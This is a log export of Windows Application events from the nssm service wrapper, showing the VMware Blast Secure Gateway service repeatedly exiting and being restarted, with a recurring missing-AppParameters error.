{"@timestamp":1646792750106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164386}}
{"@timestamp":1646792878657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164387}}
{"@timestamp":1646792878658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164388}}
{"@timestamp":1646792878659,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161156","0"]}}},"module":"Application","provider":"nssm","sequence":164389}}
{"@timestamp":1646792878660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161156","161156","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164390}}
{"@timestamp":1646792878676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164391}}
{"@timestamp":1646792878677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164392}}
{"@timestamp":1646792878677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164393}}
{"@timestamp":1646792878678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164394}}
{"@timestamp":1646793007301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164395}}
{"@timestamp":1646793007302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164396}}
{"@timestamp":1646793007302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158004","0"]}}},"module":"Application","provider":"nssm","sequence":164397}}
{"@timestamp":1646793007302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158004","158004","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164398}}
{"@timestamp":1646793007319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161672","0"]}}},"module":"Application","provider":"nssm","sequence":164399}}
{"@timestamp":1646793007320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161672","158004","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164400}}
{"@timestamp":1646793007335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164401}}
{"@timestamp":1646793007336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164402}}
{"@timestamp":1646793007337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164403}}
{"@timestamp":1646793007338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164404}}
{"@timestamp":1646793135830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164405}}
{"@timestamp":1646793135831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164406}}
{"@timestamp":1646793135832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161568","0"]}}},"module":"Application","provider":"nssm","sequence":164407}}
{"@timestamp":1646793135832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161568","161568","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164408}}
{"@timestamp":1646793135851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164409}}
{"@timestamp":1646793135851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164410}}
{"@timestamp":1646793135852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164411}}
{"@timestamp":1646793135853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164412}}
{"@timestamp":1646793264323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164413}}
{"@timestamp":1646793264323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164414}}
{"@timestamp":1646793264324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161764","0"]}}},"module":"Application","provider":"nssm","sequence":164415}}
{"@timestamp":1646793264324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161764","161764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164416}}
{"@timestamp":1646793264341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164417}}
{"@timestamp":1646793264342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164418}}
{"@timestamp":1646793264343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164419}}
{"@timestamp":1646793264343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164420}}
{"@timestamp":1646793392826,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164421}}
{"@timestamp":1646793392827,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164422}}
{"@timestamp":1646793392828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161636","0"]}}},"module":"Application","provider":"nssm","sequence":164423}}
{"@timestamp":1646793392830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161636","161636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164424}}
{"@timestamp":1646793392847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164425}}
{"@timestamp":1646793392847,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164426}}
{"@timestamp":1646793392848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164427}}
{"@timestamp":1646793392849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164428}}
{"@timestamp":1646793521344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164429}}
{"@timestamp":1646793521345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164430}}
{"@timestamp":1646793521347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159636","0"]}}},"module":"Application","provider":"nssm","sequence":164431}}
{"@timestamp":1646793521348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159636","159636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164432}}
{"@timestamp":1646793521365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164433}}
{"@timestamp":1646793521366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164434}}
{"@timestamp":1646793521366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164435}}
{"@timestamp":1646793521367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164436}}
{"@timestamp":1646793649829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164437}}
{"@timestamp":1646793649830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164438}}
{"@timestamp":1646793649831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160912","0"]}}},"module":"Application","provider":"nssm","sequence":164439}}
{"@timestamp":1646793649833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160912","160912","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164440}}
{"@timestamp":1646793649849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164441}}
{"@timestamp":1646793649850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164442}}
{"@timestamp":1646793649850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164443}}
{"@timestamp":1646793649851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164444}}
{"@timestamp":1646793778344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164445}}
{"@timestamp":1646793778345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164446}}
{"@timestamp":1646793778346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161472","0"]}}},"module":"Application","provider":"nssm","sequence":164447}}
{"@timestamp":1646793778346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161472","161472","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164448}}
{"@timestamp":1646793778363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164449}}
{"@timestamp":1646793778363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164450}}
{"@timestamp":1646793778364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164451}}
{"@timestamp":1646793778365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164452}}
{"@timestamp":1646793906854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164453}}
{"@timestamp":1646793906855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164454}}
{"@timestamp":1646793906855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161584","0"]}}},"module":"Application","provider":"nssm","sequence":164455}}
{"@timestamp":1646793906856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161584","161584","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164456}}
{"@timestamp":1646793906871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159236","0"]}}},"module":"Application","provider":"nssm","sequence":164457}}
{"@timestamp":1646793906872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159236","161584","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164458}}
{"@timestamp":1646793906923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164459}}
{"@timestamp":1646793906924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164460}}
{"@timestamp":1646793906925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164461}}
{"@timestamp":1646793906925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164462}}
{"@timestamp":1646794035392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164463}}
{"@timestamp":1646794035393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164464}}
{"@timestamp":1646794035394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159464","0"]}}},"module":"Application","provider":"nssm","sequence":164465}}
{"@timestamp":1646794035395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159464","159464","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164466}}
{"@timestamp":1646794035411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164467}}
{"@timestamp":1646794035412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164468}}
{"@timestamp":1646794035412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164469}}
{"@timestamp":1646794035413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164470}}
{"@timestamp":1646794163888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164471}}
{"@timestamp":1646794163889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164472}}
{"@timestamp":1646794163890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161640","0"]}}},"module":"Application","provider":"nssm","sequence":164473}}
{"@timestamp":1646794163893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161640","161640","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164474}}
{"@timestamp":1646794163909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164475}}
{"@timestamp":1646794163910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164476}}
{"@timestamp":1646794163911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164477}}
{"@timestamp":1646794163912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164478}}
{"@timestamp":1646794292371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164479}}
{"@timestamp":1646794292372,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164480}}
{"@timestamp":1646794292373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160004","0"]}}},"module":"Application","provider":"nssm","sequence":164481}}
{"@timestamp":1646794292373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160004","160004","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164482}}
{"@timestamp":1646794292389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164483}}
{"@timestamp":1646794292389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":164484}}
{"@timestamp":1646794292390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164485}}
{"@timestamp":1646794292390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":164486}}
{"@timestamp":1646794420878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":164487}}
{"@timestamp":1646794420882,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":164488}}
{"@timestamp":1646794420884,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160988","0"]}}},"module":"Application","provider":"nssm","sequence":164489}}
{"@timestamp":1646794420885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160988","160988","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":164490}}
{"@timestamp":1646794420903,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":164491}}
